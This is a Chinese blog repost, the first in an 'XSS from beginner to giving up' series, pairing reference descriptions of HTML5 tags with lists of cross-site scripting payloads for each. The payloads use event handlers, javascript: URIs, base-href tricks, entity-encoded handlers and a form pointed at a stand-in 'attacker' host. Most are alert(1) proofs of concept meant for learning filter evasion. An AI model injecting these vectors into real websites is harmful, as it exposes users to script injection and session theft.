XSS从入门到放弃系列一

Posted me记录

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS从入门到放弃系列一相关的知识,希望对你有一定的参考价值。

文章来自于小m,小密圈首发


ps:之前那个文章标题不太对,应该是android  https抓包的问题,文章来源也不是90,原谅我记错了,来源于本公众号另外一运营者,tools首发


常用到的html5标签

HTML <!--...--> 标签

<!--这是一段注释。注释不会在浏览器中显示。-->

注释标签用于在源代码中插入注释。

注释不会显示在浏览器中。

您可使用注释对您的代码进行解释,这样做有助于您在以后的时间对代码的编辑。

当您编写了大量代码时尤其有用。

使用注释标签来隐藏浏览器不支持的脚本也是一个好习惯(这样就不会把脚本显示为纯文本):


<script type="text/javascript">
<!--
function displayMsg()
{
alert("Hello World!")
}
//-->
</script>

注释:注释行结尾处的两条斜杠 (//) 是 JavaScript 注释符号。

这可以避免 JavaScript 执行 --> 标签。

注释标签不支持任何标准属性。注释标签不支持任何事件属性。

注:HTML的注释有两个,分别是 <!--...--><!--...--!>.

HTML <a> 标签

<a href="http://www.w3school.com.cn">W3School</a>

所有浏览器都支持 <a> 标签。

<a> 标签定义超链接,用于从一张页面链接到另一张页面。

<a> 元素最重要的属性是 href 属性,它指示链接的目标。

提示:如果不使用 href 属性,则不可以使用如下属性:download, hreflang, media, rel, target 以及 type 属性。

提示:被链接页面通常显示在当前浏览器窗口中,除非您规定了另一个目标(target 属性)。

在 HTML5 中, <a> 标签始终是超链接,但是如果未设置 href 属性,则只是超链接的占位符。<a> 标签支持 HTML 中的全局属性。

<a> 标签支持 HTML 中的事件属性。

HTML <area> 标签


<img usemap="#baidumap"/>
<map name="baidumap" id="baidumap">
<area coords="0,0,1000,1000" href="javascript:alert(1)"/>
</map>

所有主流浏览器都支持 <area> 标签。

<area> 标签定义图像映射中的区域(注:图像映射指得是带有可点击区域的图像)。

area 元素总是嵌套在 <map> 标签中。

注释: <img> 标签中的 usemap 属性与 map 元素 name 属性相关联,创建图像与映射之间的联系。在 HTML 中, <area> 没有结束标签。

注释: <img> 中的 usemap 属性可引用 <map> 中的 id 或 name 属性(由浏览器决定),所以我们需要同时向 <map> 添加 id 和 name 两个属性。

<area> 标签支持 HTML 中的全局属性。

<area> 标签支持 HTML 中的事件属性。

HTML <article> 标签


<article>
<script>alert(1)</script>
</article>

Internet Explorer 9, Firefox, Opera, Chrome 以及 Safari 支持 <article> 标签。

注释:Internet Explorer 8 以及更早的版本不支持 <article> 标签。

<article> 标签规定独立的自包含内容。一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发。

<article> 标签支持 HTML 中的全局属性。

<article> 标签支持 HTML 中的事件属性。

HTML <aside> 标签


<aside>
<script>alert(1)</script>
</aside>

Internet Explorer 9+, Firefox, Opera, Chrome 以及 Safari 支持 <aside> 标签。

注释:Internet Explorer 8 以及更早的版本不支持 <aside> 标签。

<aside> 标签定义其所处内容之外的内容。

aside 的内容应该与附近的内容相关。

提示: <aside> 的内容可用作文章的侧栏。

<aside> 标签支持 HTML 中的全局属性。

<aside> 标签支持 HTML 中的事件属性。

HTML <audio> 标签


<audio >
您的浏览器不支持 audio 标签。
</audio>

Internet Explorer 9+, Firefox, Opera, Chrome 以及 Safari 支持 <audio> 标签。

注释:Internet Explorer 8 以及更早的版本不支持 <audio> 标签。

<audio> 标签定义声音,比如音乐或其他音频流。

提示:可以在开始标签和结束标签之间放置文本内容,这样老的浏览器就可以显示出不支持该标签的信息。

<audio> 标签支持 HTML 中的全局属性。

<audio> 标签支持 HTML 中的事件属性。

HTML <base> 标签

<base href=javascript:/0/><iframe src=,alert(1)></iframe>

<base href=javascript:/0/><a href=,alert(1)>a</a>

所有浏览器都支持 <base> 标签。

通常情况下,浏览器会从当前文档的 URL 中提取相应的元素来填写相对 URL 中的空白。

使用 <base> 标签可以改变这一点。浏览器随后将不再使用当前文档的 URL,而使用指定的基本 URL 来解析所有的相对 URL。这其中包括 <a><img><link><form> 标签中的 URL。在 HTML 中, <base> 标签没有结束标签

注释: <base> 标签必须位于 head 元素内部。

HTML <body> 标签

<body onload=alert(1)>


<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

所有主流浏览器都支持 <body> 标签。

body 元素定义文档的主体。

body 元素包含文档的所有内容(比如文本、超链接、图像、表格和列表等等。)

<body> 标签支持 HTML 中的全局属性。

<body> 标签支持 HTML 中的事件属性。

HTML <button> 标签

<button type="button">Click Me!</button>

所有主流浏览器都支持 <button> 标签。

重要事项:如果在 HTML 表单中使用 button 元素,不同的浏览器会提交不同的值。

Internet Explorer 将提交 <button><button/> 之间的文本,而其他浏览器将提交 value 属性的内容。请在 HTML 表单中使用 input 元素来创建按钮。

<button> 标签定义一个按钮。

在 button 元素内部,您可以放置内容,比如文本或图像。这是该元素与使用 input 元素创建的按钮之间的不同之处。

<button> 控件 与 <input type="button"> 相比,提供了更为强大的功能和更丰富的内容。 <button></button> 标签之间的所有内容都是按钮的内容,其中包括任何可接受的正文内容,比如文本或多媒体内容。例如,我们可以在按钮中包括一个图像和相关的文本,用它们在按钮中创建一个吸引人的标记图像。

唯一禁止使用的元素是图像映射,因为它对鼠标和键盘敏感的动作会干扰表单按钮的行为。

请始终为按钮规定 type 属性。Internet Explorer 的默认类型是 "button",而其他浏览器中(包括 W3C 规范)的默认值是 "submit"。

HTML 5 中的新属性:autofocus, form, formaction, formenctype, formmethod, formnovalidate 以及 formtarget。

注释:如果在 HTML 表单中使用 button 元素,不同的浏览器会提交不同的按钮值。请使用 input 元素在 HTML 表单中创建按钮。


<button type="button" autofocus="autofocus">
点击这里
</button>

注释:formenctype 属性可能的值:

application/x-www-form-urlencoded

multipart/form-data

text/plain

<button> 标签支持 HTML 中的全局属性。

<button> 标签支持 HTML 中的事件属性。


<button/onclick=alert(1) >M</button>
<form><button formaction=javascript&colon;alert(1)>M
<button onfocus=alert(1) autofocus>
<form><button formaction=javascript:alert(1)>click
<form><button formaction=javascript:alert(1)>click
<form><button formaction=javascript:alert(1)>click
<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action=submit>
<button formaction=form3>CLICK<select name=q><option>&lt;script>alert(1)&lt;/script>
</form>
<button onclick=go()>go</button>
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<form><button formaction=javascript&colon;alert(1)>CLICKME

HTML <command> 标签


<menu>
<command onclick="alert('Hello World')">
Click Me!</command>
</menu>

没有浏览器支持 <command> 标签。

只有 Internet Explorer 9 (更早或更晚的版本都不支持)支持 <command> 标签。

command 元素表示用户能够调用的命令。

<command> 标签可以定义命令按钮,比如单选按钮、复选框或按钮。

只有当 command 元素位于 menu 元素内时,该元素才是可见的。否则不会显示这个元素,但是可以用它规定键盘快捷键。

目前只有 Internet Explorer 支持 <command> 标签。


<menu>
 <command onclick="alert('Hello World')" icon="bulbon.gif">
 Click Me!
 </command>
</menu>

<menu>
<command onclick="alert('Hello World')" label="Alert">Click Me!</command>
</menu>

<command> 标签支持 HTML 中的全局属性。

<command> 标签支持 HTML 中的事件属性。

HTML <details> 标签


<details>
<summary>Copyright 2011.</summary>
<p>All pages and graphics on this web site are the property of W3School.</p>
</details>

目前只有 Chrome 和 Safari 6 支持 <details> 标签。

<details> 标签用于描述文档或文档某个部分的细节。

目前只有 Chrome 支持 <details> 标签。

提示:与 <summary> 标签 配合使用可以为 details 定义标题。标题是可见的,用户点击标题时,会显示出 details。

<details> 标签支持 HTML 中的全局属性。

<details> 标签支持 HTML 中的事件属性。


<details open ontoggle=alert(1)>
<details open ontoggle="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#24050;&#26159;&#40644;&#26127;&#29420;&#33258;&#24833;&#65292;&#19968;&#26525;&#32418;&#26447;&#20986;&#22681;&#26469;&#39;&#41;">
<details ontoggle="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#24050;&#26159;&#40644;&#26127;&#29420;&#33258;&#24833;&#65292;&#19968;&#26525;&#32418;&#26447;&#20986;&#22681;&#26469;&#39;&#41;">
<details onfocus = "alert(1)">
<details onfocus = "alert(1)">
<details onfocus = "alert(1)">

HTML <div> 标签


<div style="color:#00FF00">
 <h3>This is a header</h3>
 <p>This is a paragraph.</p>
</div>

所有主流浏览器都支持 <div> 标签。

<div> 可定义文档中的分区或节(division/section)。

<div> 标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。

如果用 id 或 class 来标记 <div>,那么该标签的作用会变得更加有效。

<div> 是一个块级元素。这意味着它的内容自动地开始一个新行。实际上,换行是 <div> 固有的唯一格式表现。可以通过 <div> 的 class 或 id 应用额外的样式。

注释: <div> 是一个块级元素,也就是说,浏览器通常会在 div 元素前后放置一个换行符。

提示:请使用 <div> 元素来组合块级元素,这样就可以使用样式对它们进行格式化。

<div> 标签支持 HTML 中的全局属性。

<div> 标签支持 HTML 中的事件属性。


<div/onmouseover='alert(1)'>X
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
<div/onmouseover='alert(1)'> style="x:">
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>

HTML <embed> 标签

<embed> 标签定义嵌入的内容,比如插件。

<embed />

<embed> 标签支持 HTML 中的全局属性。

<embed> 标签支持 HTML 中的事件属性。


以上是关于XSS从入门到放弃系列一的主要内容,如果未能解决你的问题,请参考以下文章

python从入门到放弃

HBase从入门到放弃系列之一 · 基础篇

JMETER_从入门到放弃系列

CYQ.Data 从入门到放弃ORM系列:开篇:自动化框架编程思维

CYQ.Data 从入门到放弃ORM系列:开篇:自动化框架编程思维

AI框架核心技术系列来啦!从入门到放弃!